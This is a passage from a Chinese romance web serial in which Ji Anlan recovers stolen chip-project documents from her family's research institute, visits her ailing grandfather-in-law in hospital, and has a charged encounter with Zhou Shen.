她现在必须赶在项目送审前,拿到关键的原始档案和设计材料。
否则,一旦被江容川篡改署名、转移专利姓名权,那就一切全都完了。
她必须要把所有的筹码全都握在手心。
想到这里,纪安澜立刻驱车赶往了纪氏芯片研究所。
这里的人员大多都已经被更换,只有关键的研究用的还是老人。
纪安澜去了档案室,果然看见了一个老员工。
他一见纪安澜来了,眼中闪过一抹惊讶。
“纪小姐,你来了?”
纪安澜点了点头:“关于【AI能源驱动器芯片】的所有材料,你能拿给我吗?”
老员工摇了摇头,脸色难看:“其实那些材料早就不知所踪……”
这件事情曾经有不少的轰动,但被上面的人给压了下来。
本以为是上面的人拿到了材料,现在看来,材料可能已经丢失。
“纪小姐,材料居然不在你那里?”
纪安澜摇头,“你是说材料丢了?”
老员工沉吟了一番后,不确定地回答:“那些材料只是不在档案室,但至于在哪就不清楚了。当时上面的人说是不用管,我们也没有继续追问。”
“你是一直待在这里吗?我之前见过你。”纪安澜认真地问。
那老员工眼底闪过一抹欣喜,没想到纪安澜竟然还记得他。
“是的,纪小姐,我一直在这里工作,已经十几年了。”
“那你应该知道最后一次见到材料是什么时候?”纪安澜继续追问。
老员工仔细地回想了一番,像是想到了什么似的,眼前一亮:“记得最后一次好像是被人给调走了,至于那个人的长相……”
老员工正在思考。
这时,一道冷厉的声音传来。
“资料重地,闲杂人等赶紧出去!”
纪安澜回头,便看到了一个西装革履、大腹便便的中年男人,面色凶狠地瞪着她。
此人是张阳,乃是纪氏研究所的副经理。
目光落在了那个老员工的身上,张阳冷声道:“你懂不懂规矩?这里是随便什么人都能进的吗?还不赶紧把她赶出去!”
老员工立刻说:“她是纪小姐!”
听见纪安澜姓纪,张阳扭头瞥了她一眼,眼底多了一抹不屑。
“那又怎么样?这芯片项目涉及核心机密,你一个女人,什么都不懂,来这里干什么?只会添乱!”
张阳立刻下了逐客令:“我不管你是大小姐还是大少爷,赶紧离开这里,不然我就叫保安了。”
话音刚落,把纪安澜赶到了档案室门外。
“以后不要来这里,像你这样,只会碍手碍脚!”
他的声音颇大,在走廊里回荡着,不少人侧目看了过来。
早就已经尝过了人情冷暖,纪安澜对此毫不在意。
拜高踩低的人多了去,纪安澜气定神闲地掏出来一沓文件。
张阳狐疑地看了她一眼,不明所以。
纪安澜则是扬了扬手里的文件,扫了一圈走廊里的员工。
“这些是纪氏芯片研究所的股权转让书,上面有我父亲盖的章,有法律效益,只要谁能说出来芯片项目的档案在哪里,并且提出证据,我可以把纪氏1%的股权转让给他。”
纪氏1%的股权!那可不是一个小数目。
一听这话,所有的人的眼睛直放光,特别是张阳,没想到纪安澜一出手就是如此大的手笔。
他伸手就要去拿那份文件,纪安澜却将文件收了回来,扫视了一眼周围的人。
“【AI能源驱动芯片】是我们纪氏的心血,眼下最重要的东西却不翼而飞,很有可能是有人打着为公司利益的幌子,想故意转移、藏匿。”
纪安澜观察到有几人的神色骤变。
“现在事情还没有发酵,只要有人站出来主动承认,并且把文件交给我,我可以原谅他。”
冰冷的视线如同一把利刃,悬在了众人头顶。
纪安澜晃了晃手里的文件。
“这里有监控,我说话有时效性,半个小时内,只要能供出我要的东西,这1%的股份就是那个人的。”
话音刚落,鸦雀无声,落针可闻。
纪安澜心被揪紧,这是考验人性的时刻。
突然,有人站了出来,指着张阳道:“是他!是他调走了文件!”
第一卷 第13章 独闯研究所
张阳面色一变,立刻否定:“你不要胡说八道!”
“当初就是你从我的手里把文件拿走的。”一个眼镜男信誓旦旦,恐怕纪安澜不信,还从办公室里拿出来了一沓文件,递了过去。
“这是我之前打印的部分文件,就是觉得张阳太奇怪了,没想到他竟然想要占为己有。”
纪安澜立刻拿出复印件看了一眼,确实是一些机密文件。
不过既然眼镜男心思如此缜密,怎么可能只打印一部分?
纪安澜眼中充满了怀疑,不过眼下最重要的事情就是看看纪氏研究所里,到底有多少蛀虫?
他们估计大部分人已经被江容川收买了,不过对于收买人心一事,既然江容川能做,她也能做。
“你还好意思说张阳?你不是也想拿这文件赚钱吗?”另外一个瘦高个也站出来指责眼镜男。
“当初你做的那些腌臜事,别以为可以瞒天过海,我可全都记着呢,而且有视频为证。”
瘦高个走到办公室里,拿出来一个U盘,直接向纪安澜投诚:“这是我拍下的他跟别人交易的视频,里面还有录音,纪小姐要是不信的话,可以找警察来查。”
眼镜男一听这话,脸色骤然一变,想要去抢夺U盘,却被瘦高个反制住,两个人扭打在一团。
纪安澜手指紧握着U盘,眼底满是冷意。
现在等于两个人不打自招,还有一个张阳,三个人手底下,恐怕都不干净。
眼见着眼镜男跟瘦高个在打架,张阳大脑飞速运转,眼睛快速转动,意识到可能被做局了,厉声呵斥。
“你们在干什么?现在我们隶属于江氏!什么事情非得跟她禀报?”
眼镜男和瘦高个冷静下来,看向张阳。
张阳扭头看着纪安澜,笑道:“纪小姐,真是不好意思,让你看笑话了,他们在说胡话,我会帮你教训他们,你可别放在心上。”
话音刚落,冷冷地瞪了他们一眼。
两人低垂着头。
看来是想要翻供。
当着她的面就敢如此,背地里不知道做了多少事。
张阳一步步地走向纪安澜,伸手就要去拿U盘。
纪安澜反手将U盘放进包里。
张阳面色一黑,眉宇间满是不悦。
“纪小姐,别忘了这里是哪里,不要敬酒不吃吃罚酒。”
张阳失去了耐心,不想再跟纪安澜继续装下去。
前来调查研究所的人不计其数,但只有他点了头,才能有人活着走出去。
张阳目光凌厉,犹如一把尖锐的刀刺向纪安澜,很明显是在威胁。
纪安澜不仅不怕,反而冷笑了一声。
“还能是哪里?当然是我们纪家的研究所。”
扫视了一圈看热闹的员工,鸦雀无声,他们对张阳似乎很忌惮。
“纪家?”张阳冷笑了一声。“纪小姐只是空有个姓而已,你现在是江家人。”
说话间,眼中充满了嘲讽。
“嫁出去的女儿泼出去的水,纪家的研究所现在也归江家管。”
这句话当然不只是给纪安澜说的,也是,说给在场的所有人听。
张阳在提醒他们,纪家大势已去,他们要依附的是江家。
瘦高个和眼镜男都有些动容,其他的人也觉得他说的有道理。
纪安澜发出一声冷笑,所有人的目光齐刷刷地射了过去。
“什么都是虚的,但我手里的股份是真的,想要股份,就按我说的做。“
所有人都眼睛泛着贪婪的光。
眼镜男和瘦高个互相揭对方老底,其他人也互相出卖,个个丑态百出,为了纪安澜手中1%的股权,他们也拼了。
而伴随着他们爆料越来越多,纪安澜手里的证据链逐渐完整。
不仅有调阅令复印件,还有篡改的各种记录,包括泄露参数的细节,还有涉事的金额流水,全都被纪安澜打印出来。
纪安澜隔着玻璃窗看了一眼外面的闹剧,嘴角上扬了一抹冷冽的弧度,眼底却清冷一片,掏出手机打了个电话。
她默默地走出去,双手环抱于胸前,斜倚着玻璃窗,冷冷地看着他们互殴。
等他们打累了,大口地喘着气,没有力气争吵,纪安澜瞟了他们一眼。
“闹够了?”
“纪小姐,我说的都是真的,给你的证据也都是真的。”
“我给的证据最多,那1%的股份是我的!”
“我是清白的,他们诬陷我!”
几个人依旧喋喋不休,光全都聚焦在纪安澜手里的文件上,那里是他们梦寐以求的股份。
看着他们眼中贪婪的光,纪安澜只觉得可笑。事到如今,他们竟然还在想着要股份,难道不觉得自己做得有错吗?
“张阳,你就是一条狗,为了往上爬,什么都做得出来。”
“你还好意思说我?你不是也做了吗?”
眼看着他们愈吵愈烈,还要进行下一轮的争辩。
“好了,别吵了!”纪安澜失去了耐心,凛冽的眸子扫了一眼众人。
“你们觉得做了这样的事,还配拿我们纪家的股份吗?”
此话一说出口,所有的人都静默了,瞪大眼睛不可置信地看着纪安澜。
“纪小姐,你这话是什么意思?难道是想出尔反尔?我们可是有视频为证。”
“对啊,你是说给我们股份,我们才……”
众人这才意识到纪安澜的目的。
纪安澜勾了勾唇,还未开口说话,外面已经警笛声大作。
众人一阵慌乱,扑通一下跪倒在地,哭天抢地地求饶:“纪小姐,我们错了,我以后再也不敢了,求你饶我一次,我不想进去啊!”
纪安澜连眼皮都没抬,伴随着警察鱼贯而入,五个人被戴上了手铐,带出了研究所。
这场闹剧终于结束,纪安澜对警察说道:“证据已经准备好,我也会请律师过去。”
警察离开后,走廊瞬间变得安静。
纪安澜扫了一眼在场的员工,冷声问:“你们谁比较了解这个芯片和项目?”
众人大气都不敢出,生怕纪安澜再找证据,把他们也同样抓走,毕竟有些人的手底下确实不干净。
“我再问一遍,你们谁负责过这个芯片或者是项目?”纪安澜语气冷冽。
第一卷 第14章 周家二少兼职开网约车
空气陷入沉默,过了一会,一个年轻的女孩举了举手。
她是张阳的助理,“我之前负责过这个项目。”
“手还干净?”纪安澜单刀直入地问。
助理点了点头。
“我没有做过对不起公司的事!”她语气急切,想要证明自己。
“只要不怕查就行。”纪安澜挑了挑眉,眼中充满了威胁。那女孩用力点头,双眸澄澈。
“我当时进公司就是因为听说纪氏集团的大名,虽然没有得到重用,但我从来都不会做危害公司的事,以前不会,以后也不会!”
她一脸真诚,眼睛一瞬不瞬地盯着纪安澜,澄澈的眼眸里写满了坚定。
纪安澜满意地看着她的反应,一眼便觉得她是个真诚的人。
“那以后就由你来把这个项目做个标书。”
助理一听,愣了一瞬,眼睛里充满了紧张和不安。
“但是这个项目估计被损坏得很严重,说不定核心机密也已经被泄露了,就算是做成标书,恐怕优势也没了……”
纪安澜神色一凛,把文件递给了她,眼神如刀锋锋刃:“这个项目一直都是由纪氏负责,就算是核心机密被泄露出去,只要我们标书一出,想必明眼人也能看出来谁真正地掌握着核心技术。”
源技术在他们手中,就算拿到了机密文件,他们也可以反败为胜。
助理似懂非懂地点了点头。
纪安澜拍了拍她的肩膀,认真地说:“你尽管放手去做,出了什么问题由我顶着,但切不可出卖公司。”
助理点头如啄米,心头的疑虑一扫而空,看着纪安澜坚定的眼神,她的眼神也越发地坚定。
“纪小姐,你放心,我一定会把工作做好。”
纪安澜驱散了众人,领着助理把文件过了一遍后,开始忙着后续工作,好不容易等到处理完,已经是晚上了。
纪安澜心里一直在担心老爷子,打算打车去医院。
出了研究院,晚风吹拂在脸上,驱散了几分疲惫。
走到路边,招了招手,纪安澜揉着有些发痛的眉心,等着车子。
不多时,一辆黑色的宾利停在了面前。
纪安澜看都没看,拉开车门坐了进去。
“师傅,去医院。”
咔吧一声,纪安澜系上了安全带。
“好的,纪总。”
一道熟悉的低沉嗓音在耳畔传来。
纪安澜心头一跳,不可置信地扭头,看到了那张似笑非笑的脸。
居然是周慎!
鼻息间充斥着一股熟悉的冷木香,周慎嘴角微微上扬,笑得邪肆。
纪安澜想解开安全带下车。
周慎脚一踩油门,车子很快疾驰在路上。
“请乘客坐稳扶好,马上就到目的地。”
他有模有样地学着公交车的播报,纪安澜被气笑了。
怎么哪都能遇到他?
难道周慎在跟踪她?
不可能!她已经在研究室里待了整整一天,难不成周慎一直待在外面?
纪安澜扭头看了一眼他的侧脸,棱角分明,下颌线如同刀削一般,刀刻斧凿般的侧脸,倒是有几分姿色。
也怨不得他这个花花公子的称号,毕竟有这张权威的脸在,是个女人都得沦陷。
“周氏集团现在周转不开了吗?连周家二少爷都兼职做起了网约车?”
纪安澜打趣了一声。
周慎勾唇浅笑:“纪总说什么都是对的。”
他说话一向吊儿郎当,听不出情绪。
纪安澜撇了撇嘴,没有答话。
“去医院看伤?”周慎突然问。
纪安澜愣了一下,反应过来,周慎知道她胳膊上有伤。
她摇头:“不是。”
可以没有打算告诉她的目的。
“记得不错的话,你要换药了。”周慎提醒。
“我没事。”纪安澜随口一说。
“那也得去看!”
周慎态度强硬,纪安澜拒绝:“我还有重要的事情,没时间去,你要是不想带我就算了,我打别的车。”
纪安澜想下车,可车子越来越快,很快地就停在了医院门口。
纪安澜想下车,但车门被锁住。
周慎先下了车,十分绅士地为纪安澜打开车门。
纪安澜狐疑地看了她一眼,下了车,就要去看江老爷子。
突然,手腕被抓住,周慎生拉硬拽着,带她去了包扎室。
任凭纪安澜如何拒绝都没有用。
包扎室里,两人隔了一道门,纪安澜无奈地吐槽:“周总,我真的没事,你是不是管得有点宽了?”
他们两个人还没有熟到这种地步吧?
“我这个人自来熟,看不得别人受伤,你这么好看的手臂,要是留下后遗症就不好了。”
他说话还是如此轻浮,不过也符合他的人设。
“要是疼就叫出来,我不会笑话你的。”门外的周慎扯着嗓子喊了一句。
纪安澜轻笑一声。
疼?
最疼的时间已经过去了,现在身体上的疼痛根本就不值一提。
包扎完伤口,纪安澜从里面一瞬间走了出来,身上带着一丝淡淡的药味。
周慎视线在纪安澜身上扫视,看着她胳膊上包扎的纱布,满意地点了点头。
“周总,我可以走了吗?”纪安澜勾了勾唇,露出一脸假笑。
周慎还没有反应,突然,走廊里传出来了一道熟悉的嗓音。
“纪安澜太过分了,竟然跟沈南姗在一起!她这么做完全没有把你放在眼里,容川,我真是心疼你。”宋妘妘茶里茶气的声音传入耳中。
江容川阴沉着脸,没有搭话。
宋妘妘察觉到不对,赶紧改口:“说不定她只是想引起你的注意,这是她惯用的伎俩。”
顿了一下又火上浇油,“不过就算是这样,也太过分了,怎么能对阿姨和曦月说出那么过分的话?”
“就算她找你复合,你也该给她点教训,不然以后她不得蹬鼻子上脸?”宋妘妘试探性地开口。
江容川面色阴沉,冷声道:“你只需要安心把你肚子里的孩子生下来就好了。”
孩子,果然,江氏一家只把她当成生育工具,生不出孩子,就变得毫无用处。
纪安澜只觉得心里冷寒,手指微微蜷着,指尖太过用力,微微泛白。
这十二年的爱意,终究是错付了。
“容川,你放心,会照顾好自己,江老爷子的寿宴,我可以帮忙。”
“寿宴太辛苦,你好好在家养着。”江容川声音放缓。
“对啊,像这种事都是交给纪安澜做的!”宋云焱嘴角勾起一抹嘲讽的笑。
两个人越走越远,声音也越来越淡。
周慎的目光落在纪安澜惨白的小脸上,她的脸色很差,看来是把这些话听进去了。
周慎冷笑着辣评:“眼光真差!”
听见声音,纪安澜回过神来,以为周慎是在说她。
嘴角勾起了一抹自嘲的笑,随声附和:“是啊,简直是瞎了眼!”
第一卷 第15章 爷爷对不起你
嘴角笑意渐散,指尖的凉意却沁入掌心。
周慎侧目看她,长长的眼睫低垂着,在脸上投下小部分的阴影,看不清楚表情。
“周总,谢谢你,不过我还有事,就不奉陪了。”
话音刚落,起身去向护士确定江老爷子的病房。
推开病房的门,一股消毒水的味道充斥在口鼻。
目之所及,江老爷子坐在病床上,眼神空洞,看着前方,苍老的脸上写满了愁绪,看起来十分可怜。
纪安澜眼底的暗淡褪去几分,努力勾了勾唇,快步走进病房。
“爷爷。”她低叫了一声。
江老爷子迅速回头,浑浊的眼眸倏地一亮,“澜澜!”
目光落在了她身后那道颀长的身影上。
“你,这是……”声音嘶哑,由于刚做完手术,说话有些不太利索。
纪安澜还未回答,周慎向前走了一步,自我介绍:“江老爷子,你好,我是她的……”
顿了一下,恰巧纪安澜惊讶地回眸,不可置信地盯着他,周慎什么时候来的?
“我们是合作伙伴。”眼见着他挑了挑眉,眼底满是戏谑。纪安澜抢先一步回答了。
江老爷子目光锁定在他身上,挺拔的身姿,气度不凡,明明脸上挂着笑,可笑意却未达眼底。
纵横商海多年,他知道眼前的人不简单。
老爷子微微颔首,目光移到了纪安澜脸上。
素白的小脸没有一丝血色,胳膊上还缠着绷带,看起来像是受伤了。花白的眉头紧皱着,江老爷子唉声叹气,犹豫再三,到嘴边的话也没有说出口。
周慎察觉到他出现的有些不合时宜,便自动退了出去,还将门给关上了。
偌大的一个房间,只剩下了江老爷子和纪安澜二人。
“澜澜,对不起……”
说话时哽咽了:“都怪我,没有管好下一辈的人,让你嫁给了一个混账!”
“咳咳咳……”江老爷子大声地咳嗽着,刚说完一句完整的话,仿佛已经用尽了全身的力气。
纪安澜满眼心疼,想到之前在江家,也只有江老爷子对她好,鼻头一酸,眼睛里蓄满了泪水。
走到病床前坐下,纪安澜柔声安慰:“爷爷,不怪你。”
当初,所有人都觉得她是狗皮膏药,非要缠着江容川,只有爷爷支持她、护着她。
“早知如此,当初我就应该阻止你!”江老爷子拍着胸脯,一副恨铁不成钢的模样,“你这么好,他不知道珍惜,是他没眼光!”
“爷爷,我已经走出来了,他怎样都无所谓,我现在只希望您能养好身体!”
纪安澜掀起眼眸,眼底一片担忧。
老爷子摆了摆手,大声地咳嗽着,情绪激动:“我一把年纪……不知道什么时候就没了……”
“爷爷,不要胡说八道!”纪安澜眉头紧锁,害怕老爷子想不开。
江老爷子摇了摇头,长长的叹息了一声:“你放心……医生说了,我下周就能出院,还能赶得及办个寿宴呢。”
听了这话,纪安澜稍微放宽了点心。
“我在医院不方便,改天你有时间去老宅,书房里取一个木盒!”
江老爷子的目光变得锐利,压低了嗓音,紧按着纪安澜的手背,面色严肃:“在书柜的第三排暗格里,千万不要让任何人发现!”
神秘兮兮的语气,配上那严肃的表情,纪安澜紧皱着眉,好奇地问:“爷爷,那是什么?”
“我的私产。”江老爷子坦然,目光逐渐地变得柔和,盯着纪安澜,“那些东西本来是想平分的,可现在看来,没有这个必要,把私产交给他们,我不放心,全都给你了。”
纪安澜满眼震惊,立刻摆手:“爷爷,我不能收。”
她到底是个外姓人,江老爷子的私产留给她养老。
“你是以后不打算照顾我吗?”江老爷子眼中划过一抹受伤。
纪安澜立刻摇头:“怎么会?爷爷你对我最好了,不管什么时候我都愿意照顾你。”
得到满意的答案,江老爷子勾了勾唇。
“那你就收下,这是我给你的保障,我现在医院没有办法护着你,但有了这些,你就有了底气,不管你想做什么,只要记住身后有我!”
坚定的语气,让纪安澜心头划过一抹暖流,鼻子一酸,眼泪不受控制的滑落。
江老爷子满眼心疼,放柔了嗓音。
“当初若是没有纪氏,也就不会有我们江氏,他们是白眼狼,我却永远都不会忘记纪氏的恩情,你就收下吧,就当是我给你的补偿。”
苍老的手拍了拍纪安澜的手背。
想到之前在江家受的委屈,纪安澜更觉得心头酸涩。
“爷爷,我知道你对我好,但那都是你的私产,我真的不能收!”
纪安澜抽噎着。
砰——
门被踹开了。
江曦月扯着嗓子喊:“你怎么那么偏心?把私产全都给她?”
纪安澜骤然回头,就看见江曦月气势汹汹地站在门口,面色铁青,眼底闪烁着贪婪。
想来刚才两个人的对话都被她听到了。
“这里是医院,请你安静点。”纪安澜走到病床前,冷冷地盯着她,不希望她打扰江老爷子休息。
江曦月冷笑一声:“你别在这里假惺惺了,不就是想要老爷子的产业吗?告诉你,绝对不可能!”
她一把将纪安澜拽开,目光凌厉,质问江老爷子。
“为什么要把私产给她?她是个外人!我才是你亲孙女啊!”
尖锐的嗓音发出了一丝爆鸣声,一想到纪安澜要抢夺江家财产,她就气不打一处来。
上下地打量了一番纪安澜,就凭她也配?
“你赶紧走!”江老爷子怒气冲冲,指着门口下了逐客令。
江曦月继续叫嚣:“爷爷,我看你就是被她哄骗,我们江家的东西,怎么能给一个姓纪的?”
话音刚落,江曦月冲到病床前,眼神急切,“爷爷,你赶紧告诉我私产在哪?千万不能让她拿走了!”
她刚才只听到了后半段话,并不知道私产的具体位置,眼下十分着急。
江老爷子闭上眼睛,想理会。
江曦月气急败坏,冲过去,指着纪安澜嚷道:“我们江家的东西,你不许动!赶紧告诉我位置!”
纪安澜冷笑一声,就像看一个笑话一样盯着她,“想要吗?跪下求我。”
第一卷 第16章 脑子是一点都不长
挑了挑眉,纪安澜面色一沉,双手环抱于胸前,冷冷地瞥着她。
“你说什么?让我给你下跪?你做梦去吧!”江曦月气急败坏,冲过来,抬手就要给她一巴掌。
纪安澜眼疾手快,一把攥住了她的手腕。
“江曦月,你是医院,爷爷还在病着,要闹你出去闹!”
她的语气冷得像冰,用力地甩开了她的手。
余光瞥见爷爷气得大口喘气,纪安澜赶紧来到病床前,为他倒了一杯水。
想喂爷爷喝水,却被江曦月一把将水杯打到了地上。
啪的一声,水杯在地上碎裂。
江曦月冷哼一声:“你别以为你殷勤,那些财产就是你的?老爷子现在正糊涂着,才会想着把财产给你,看来得让医生给他看看脑子!看不好脑子,就不许出院!”
话音刚落,怒指着纪安澜:“还有你,在我没有找到财产之前,不许离开医院。”
声音颇大,响彻了整个房间。
江老爷子被气得胸口剧烈地起伏着,手指颤抖地指着江曦月,怒目圆瞪,一口气没上来,晕厥过去。
纪安澜吓得赶紧冲过去查看,立刻按起了铃。
护士很快冲进病房,把两人赶了出去。
不多时,江老爷子被推着进了手术室。
红灯亮起,手术正在进行中。
纪安澜的心一下子提到了嗓子眼,焦灼地站在原地,眼睛里充满了紧张与担忧。
一旁的江曦月冷笑着嘲讽:“现在就我们两个人,别再装了,你会担心那老头子?”
目光瞥了一眼手术室:“那老头子身体硬朗得很,不会有事的,而且就算有事,跟你有什么关系?那是我们江家的事,你就是个外人,别在这里……”
话还没有说完,纪安澜实在觉得聒噪,抬手给了她一巴掌。
啪——
清脆的巴掌声响彻耳际,江曦月捂着脸颊,不可置信地扭头瞪着她。
“纪安澜,你竟然敢打我?”
由于太过用力,手指有些泛麻,纪安澜冷冷地盯着江曦月,声音寒得像淬了冰。
“刚才是看在爷爷的面子上,我才没打你,这么多年,除了长个子,脑子是一点都不长吗?”
“你……”江曦月脸一下变成了猪肝色,尖叫着冲过去,想要打纪安澜:“什么意思?你敢嘲笑我?”
纪安澜心里正担心着江老爷子,没空搭理她,想将她推开,奈何江曦月已接近癫狂,力道极大,伸手用力一推。
纪安澜身子不稳,眼看着就要摔倒。
突然,落入一个温暖的怀抱。
鼻息间充斥着好闻的冷木香,纪安澜掀起眼眸,正对入一双深沉如渊的眸子。
周慎垂眸看她,似笑非笑地勾唇:“纪总,我这英雄救美怎么样?”
都什么时候了,他还有心情开玩笑?
纪安澜逃也似的从他的怀里逃离,神情不自然地站在一旁。
江曦月指着两个人,怒骂:“你们两个不要脸的狗男女,什么时候搞到一起的?我要告诉我哥!你出轨了!”
她故意扯着嗓子,生怕外人不知道纪安澜与别的男人走得很近。
纪安澜面无表情,冷笑一声。
“出轨?原来你们江家管这个叫出轨?”
目光冷冰冰地盯着江曦月,纪安澜被气笑了。
“那江容川跟人孩子都有了,叫什么?”
“那是因为你是个不会下蛋的母鸡!难道我们江家要为你断子绝孙?你生不了难道还不允许别人生了?连孩子都生不了的废物,你有什么资格跟我哥在一起?”
江曦月一副理直气壮的模样。
而这些话,在纪安澜听来十分炸裂。
他们成功地为江容川的行为找了一个完美的借口。
这么多年为了生孩子,她身上密密麻麻的全都是针口,为江家累任劳任怨,从没有半分怨言,到头来,在他们眼中只是“废物”。
纪安澜脸色微白,手指蜷缩。
江曦月扫了一眼纪安澜和周慎,眼底划过一抹得意,像是终于抓到了她的小辫子。
“等着吧,我一定会让我哥跟你离婚的!”
江曦月讨厌她不是一天两天了,也一直想让她跟江容川离婚。
纪安澜毫不在意,更不会选择在这个时候离婚。
她要拿回原本属于她的东西!
见纪安澜不说话,江曦月面色越发阴沉:“别以为跟我哥离婚还能得到财产,我哥会让你净身出户,还有爷爷的私产,你一分也别想拿到!”
纪安澜满不在乎,一言不发,这把江曦月气得够呛,想冲过来叫嚣。
突然,一道高大的身影挡在了纪安澜身前。
纪安澜愣了一秒,盯着周慎的背影。
“聒噪。”冷淡的声音泛着一丝不悦,周慎锐利的眼眸迸射出冷光,像是一把锐利的刀,朝着江曦月直刺过去。
江曦月面色一白,被一股强大的气压震慑住,脚步沉重,不敢再上前。
“你……你想干什么?”江曦月咽了一下口水,强装镇定:“被我戳破了你们两个狗男女的关系,你想动手?可别忘了这里全都是监控,你要是动手,我立刻就报警。”
尖锐的嗓音让周慎眉心一皱,眼底的不悦将要溢出。
掀起眸子,锐利的眼神瞪了她一眼,江曦月被吓得后背汗涔涔的,紧张得直咽口水。
一想到是在医院里,光天化日之下,他身为一个男人,应该不会打女人吧?
江曦月冷声道:“打女人的男人都是孬种!我看你们两个人挺配的,个废物一个孬种,正好凑一起。”
话音刚落,只见周慎骨节分明的手微微一抬。
下一秒,江曦月的背后冲出来几个保镖,一把将她按住。
江曦月想尖叫,可嘴却被堵住。
“呜呜呜……”
周慎低头睥睨了她一眼,食指、中指并在一起,慵懒一抬,保镖们便将人控制着,带出了医院。
走廊瞬间陷入安静。
纪安澜心情沉重,这时,身后的手术室门被打开,医生告知老爷子已经脱离危险。
病房里,看着江老爷子面色红润,纪安澜稍稍松了一口气。
“恐怕一会要有人来找你麻烦了。”
一旁的周慎沉声提醒。
纪安澜担忧地看了一眼老爷子,目光落在了周慎脸上。
“我要回家,不知可否搭周总的顺风车?”
“可以,但是,车费可不便宜。”周慎勾了勾唇,似笑非笑地盯着她。
第一卷 第17章 这才是我要的车费
“多少?”纪安澜挑了挑眉。
她只是试探性一问,毕竟面前的男人可是周慎,平常人很难见上一面不说,他又怎会几次三番地纡尊降贵,给人做司机。
看江曦月的模样,应该不会善罢甘休,纪安澜怕她在医院堵她。
若是周慎不肯送她,也只能悄悄从医院后门溜走。
正思索着对策,周慎低沉的嗓音在耳畔响起。
“纪总,走吧?”
掀起眼眸,便见周慎十分绅士的做了一个请的手势。
纪安澜也不含糊,愣了一瞬,走出了病房。
男人的脚步亦步亦趋,很快地来到了医院门口,周慎走过去将车门打开,似笑非笑地扭头看她。
好看的桃花眼眯成一条缝,笑得像是一只成了精的狐狸。
不知怎的,总感觉像是有阴谋。
箭在弦上,不得不发。
纪安澜一咬牙,坐在了副驾驶座上。
砰的一声,车门被关上,男人修长的腿踩在了油门上,车子蹭的一下,快速驶在路上。
鼻息间充斥着好闻的雪松味,夹杂着一股淡淡的冷木香,是他身上专属的味道。
忽明忽暗的光映照在男人身上,他的眉眼染上了一层晦暗,光线衬得他的下颌角越发清晰,鼻梁挺直,刀刻斧凿般的侧脸,举手投足间,透露着矜贵与慵懒。
突然,视线落在了男人浅薄的唇上。
纪安澜目光一滞,脑海里突然回忆起之前的那个吻。
极具有侵略性,他的吻技很厉害,会让人忍不住一点点的沉沦……
“纪总,你的眼神可不清白。”
突然,打趣的声音在耳畔响起。
纪安澜回过神来,面色一僵,两颊微红,看着那双似笑非笑的眸子,立刻别开视线。
清了清嗓子,纪安澜沉声道:“周总,还是专心开车吧。”
话音刚落,空气仿佛都凝结了,车厢安静得有些诡异,仿佛能听见彼此的呼吸声。
一股微妙的气氛荡然开来,仿佛鲜活的藤蔓,悄无声息地缠上了心头,纪安澜只觉得心里发慌。
看着纪安澜身子紧绷,脸色微红,男人满意地勾了勾唇,视线移向前方,骨节分明的手搭在方向盘上。
车子很快地便到达了目的地。
可对于纪安澜来说,简直是度秒如年。
车子停下的瞬间,纪安澜手放在了把手上,就要冲出去。
可奈何,车门锁着,纪安澜下不去。
她只能尴尬地扯着唇角,扭头看着周慎。
“多谢周总,改天我请你吃饭,要不然我给你转账也行。”
“你觉得我像是缺钱的人?”周慎幽深的眸子满含笑意,低笑了一声,声音悦耳动听。
“那我请你吃饭,地点你随便挑。”纪安澜努力地扯了扯唇。
“想用一顿饭就把我打发了?”
他的语气夹杂着一丝失落,突然倾身凑了过来。
浓烈的雪松香扑面而来,纪安澜吓得将身体紧紧贴着靠背,小鹿般湿漉漉的眼睛紧张地盯着他。
“那周总……”
话还没有说出口,骨节分明的食指落在了纪安澜的唇畔上,周慎做了一个噤声的手势。
指尖微凉,在唇间蔓延,他温热的鼻息,却带着灼人的温度,轻拂在面上,烫得她的肌肤有些发麻。
纪安澜呼吸一滞,心口一紧,只觉气氛怪异,想赶紧逃离。
“周总,我想下车。”
手尝试性地去打开车门,突然手腕被攥着。
一股强大的力道往前一拉,纪安澜的身子不受控制地向前倾。
还没有反应过来,冰凉的唇畔贴了过来。
纪安澜瞪大眼睛,大脑里一片空白,竟然忘记了挣扎。
柔软的唇热烈而又温柔,慢条斯理,却带着缠绵的意味,极具有侵略性,却像是怕吓坏了她,动作轻柔的紧。
男人睁开漆黑的眸,看着纪安澜正在发愣,眼尾泛着笑意,大手扣住了她的后脑勺,加深了这个吻。
仿佛有一股电流直击全身,一股酥麻感自唇间蔓延,仿佛麻痹了心脏,心口有一瞬间停止了跳动,紧接着便是无规则的跃动,仿佛下一秒就要冲出胸膛。
纪安澜愣在原地,睫毛轻颤,像是受惊的蝶翼,湿漉漉的小鹿瞳泛着惊讶,脸颊不自觉地透着绯色。
漆黑的眸子变得迷离,呼吸越发急促。
周慎掀开眼眸,眼底是化不开的墨色,黑曜石般的眸子映着纪安澜绯红的脸颊,他心口产生了一丝异样的情绪,墨染的眸子翻涌着复杂的神色。
强压住心头的欲望,恋恋不舍地松开了她。
盯着纪安澜白嫩的脸颊,周慎声音沙哑,像是刻意压制着什么。
“这才是我要的车费。”
闻言,纪安澜回过神来。
想到刚才发生了什么,脸瞬间胀红,一下子红到了耳朵根。
温热的鼻息喷薄在脸上,热烈的眸子如同火一般,紧紧地盯着她,纪安澜垂眸,不敢看他。
别过头去,心脏快要跃出胸口。
“周总,我要下车!”
过了好久,纪安澜才找回声音。
手急切地想要将车门打开。
看着她着急的动作,只觉可爱,周慎唇角上扬了一抹弧度。
他手指一按,纪安澜轻而易举地将车门打开,她迫不及待地下了车,几乎是落荒而逃。
“纪总,慢走。”
身后男人的声音泛着一丝揶揄的意味。
纪安澜步履生风,恨不得找个地缝钻进去。
她也不知道怎么回到家的,大脑一片混乱,脑海里全都是火热的场面。
纪安澜赶紧来到厕所洗了把脸,想逼迫自己冷静下来,她掏出被摔坏的手链,打算修一修。
可手上忙活着,大脑里却全都是周慎那张脸。
三次接吻,如同鬼魅一般萦绕在脑海里,挥之不去。
纪安澜拍了拍脸颊,却怎么也冷静不下来。
捂着有些发热的脸颊,纪安澜有些颓然地看着桌子上坏掉的项链。
看来,还是改天再修吧。
纪安澜干脆躺在床上,打算睡一觉,让自己静下心来。
可是翻来覆去,怎么也睡不着。
一闭上眼睛,全都是周慎那双深邃如渊的眸子。
她腾的一下坐起身,掏出手机,看了下通讯录。
最后,指尖停在了姚姿的号码上。
“阿姿,陪我出来喝酒!”
第一卷 第18章 小气吧啦的男人
暮色酒吧。
包房里,姚姿听纪安澜说完最近的糟心事,眼珠子差点瞪出来。
